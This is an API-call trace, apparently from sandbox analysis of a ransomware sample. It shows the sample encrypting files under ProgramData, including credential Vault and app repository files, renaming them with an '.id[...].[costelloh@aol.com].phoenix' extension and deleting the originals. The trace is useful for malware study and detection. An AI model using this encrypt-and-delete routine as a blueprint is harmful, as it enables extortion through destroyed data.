	[0261.838] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x132, lpOverlapped=0x0) returned 1
	[0261.839] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0261.839] CloseHandle (hObject=0x254) returned 1
	[0261.839] CloseHandle (hObject=0x2e0) returned 1
	[0261.839] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch")) returned 1
	[0261.840] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.840] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.841] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=110) returned 1
	[0261.841] CloseHandle (hObject=0x2e0) returned 1
	[0261.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch")) returned 0x20
	[0261.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.841] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.841] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0261.841] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0261.842] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.842] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1516c0) returned 1
	[0261.842] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.842] ReadFile (in: hFile=0x2e0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x6e, lpOverlapped=0x0) returned 1
	[0261.843] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0261.843] WriteFile (in: hFile=0x254, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x70, lpOverlapped=0x0) returned 1
	[0261.844] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151080) returned 1
	[0261.844] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.844] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80, dwBufLen=0x80 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80) returned 1
	[0261.844] CryptDestroyKey (hKey=0x151080) returned 1
	[0261.845] WriteFile (in: hFile=0x254, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x132, lpOverlapped=0x0) returned 1
	[0261.845] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0261.845] CloseHandle (hObject=0x2e0) returned 1
	[0261.845] CloseHandle (hObject=0x254) returned 1
	[0261.845] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch")) returned 1
	[0261.846] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.846] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.847] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=262) returned 1
	[0261.847] CloseHandle (hObject=0x254) returned 1
	[0261.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch")) returned 0x20
	[0261.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.847] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.847] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0261.847] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0261.847] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.848] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151440) returned 1
	[0261.848] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.848] ReadFile (in: hFile=0x254, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x106, lpOverlapped=0x0) returned 1
	[0261.849] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x110, dwBufLen=0x110 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x110) returned 1
	[0261.849] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x110, lpOverlapped=0x0) returned 1
	[0261.850] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151340) returned 1
	[0261.850] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.850] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80, dwBufLen=0x80 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80) returned 1
	[0261.850] CryptDestroyKey (hKey=0x151340) returned 1
	[0261.850] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x132, lpOverlapped=0x0) returned 1
	[0261.979] CryptDestroyKey (hKey=0x151440) returned 1
	[0261.979] CloseHandle (hObject=0x254) returned 1
	[0261.979] CloseHandle (hObject=0x2e0) returned 1
	[0261.979] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch")) returned 1
	[0261.980] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.980] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-wal" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd-wal"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.982] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0261.982] CloseHandle (hObject=0x2e0) returned 1
	[0261.982] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.982] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.983] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=8192) returned 1
	[0261.983] CloseHandle (hObject=0x2e0) returned 1
	[0261.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0261.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.983] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0261.984] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.984] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.984] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0261.984] CloseHandle (hObject=0x2e0) returned 1
	[0261.984] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.984] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.987] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2632) returned 1
	[0261.987] CloseHandle (hObject=0x2e0) returned 1
	[0261.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0261.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.988] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0261.988] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.988] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.989] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=20480) returned 1
	[0261.989] CloseHandle (hObject=0x2e0) returned 1
	[0261.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\activationstore.dat.log1")) returned 0x26
	[0261.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.989] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0261.990] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.990] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.990] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0261.990] CloseHandle (hObject=0x2e0) returned 1
	[0261.990] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.991] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.993] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=5844) returned 1
	[0261.993] CloseHandle (hObject=0x2e0) returned 1
	[0261.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0261.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.993] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0261.993] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.993] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.995] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=8192) returned 1
	[0261.995] CloseHandle (hObject=0x2e0) returned 1
	[0261.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0261.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
